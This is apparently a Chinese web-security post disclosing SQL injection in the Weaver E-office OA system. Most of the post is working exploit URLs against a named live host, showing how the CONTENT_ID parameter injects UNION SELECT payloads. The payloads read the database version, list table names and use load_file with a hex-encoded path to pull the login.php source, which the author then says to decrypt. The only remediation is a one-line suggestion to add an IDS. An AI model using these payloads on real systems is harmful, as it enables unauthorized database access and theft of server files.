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泛微E-office OA管理系统存在SQL注射及修复 - 网站安

测试官方站点,首先用使用测试账户xj登录,然后访问下面的地址。

 

http://eoffice8.weaver.cn:8028/general/file_folder/file_new/neworedit/index.php?FILE_SORT=&CONTENT_ID=123&SORT_ID=166&func_id=&operationType=editFromRead&docStr=

 

 

其中的CONTENT_ID参数能够注射SQL语句。

 

http://eoffice8.weaver.cn:8028/general/file_folder/file_new/neworedit/index.php?FILE_SORT=&CONTENT_ID=-4%20union%20select%201,2,3,4,5,version(),7,8,9,10,11,12,13,14,15,16,17,18,19%23&SORT_ID=166&func_id=&operationType=editFromRead&docStr=

 

查询表名,这里的CONTENT_ID在每次查询时要变换值,不然程序提示信息被锁定:

 

http://eoffice8.weaver.cn:8028/general/file_folder/file_new/neworedit/index.php?FILE_SORT=&CONTENT_ID=-5%20union%20select%201,2,3,4,5,group_concat(table_name),7,8,9,10,11,12,13,14,15,16,17,18,19%20from%20information_schema.tables%20where%20table_schema=database()%23&SORT_ID=166&func_id=&operationType=editFromRead&docStr=

当然也可以load_file文件 源码 :

 

http://eoffice8.weaver.cn:8028/general/file_folder/file_new/neworedit/index.php?FILE_SORT=&CONTENT_ID=-14%20union%20select%201,2,3,4,5,hex(load_file(0x443A5C656F6666696365382E336164765C776562726F6F745C6C6F67696E2E706870)),7,8,9,10,11,12,13,14,15,16,17,18,19%23&SORT_ID=166&func_id=&operationType=editFromRead&docStr=

用16进制编辑器将上面load_file出来的内容保存,然后再zend解密,得到login. php源码 :

 

 

 

修复方案:

建议在include的公共文件里面添加IDS

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